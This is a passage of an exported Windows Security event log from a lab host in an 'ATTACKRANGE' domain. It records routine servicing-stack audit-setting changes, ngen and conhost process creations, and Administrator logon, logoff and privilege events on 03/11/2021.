Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_fe5c6d762edd2110.cdf-ms
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247337
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata.cdf-ms
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247336
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_en_9da4492827ac64e5.cdf-ms
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247335
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_en-us_429cd25484dc6f94.cdf-ms
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247334
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_activedirectory_en-us_8c3f31d53041388d.cdf-ms
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247333
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_activedirectory_bedd0f1af87a5c73.cdf-ms
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247332
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_a349059b05097caa.cdf-ms
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247331
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_3f102d555ee05d33.cdf-ms
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247330
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_21f9a9c4a2f8b514.cdf-ms
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247329
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_en-us_9e576ab077991fe8.cdf-ms
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247328
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_activedirectory_en-us_a57c0c93e0b20e55.cdf-ms
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247327
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_activedirectory_5d166ad940a9b76d.cdf-ms
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247326
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_b001352a7f7811a4.cdf-ms
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247325
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_19ae85881f1c4f2d.cdf-ms
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247324
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_21ffbdd2a2dd92e0.cdf-ms
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247323
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$.cdf-ms
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247322
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247489
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xc84
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247488
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x470
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe94
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247487
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc84
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd00
	Creator Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Ngen.exe  Update /Queue /Delay

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247486
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd00
	Creator Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\Ngen.exe  Update /Queue /Delay

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247494
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x138356

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247493
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x138356
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247492
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247491
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247490
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x11BD5B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247509
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144216

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247508
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1182E8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247507
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x118669

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247506
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144216

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247505
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144216
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

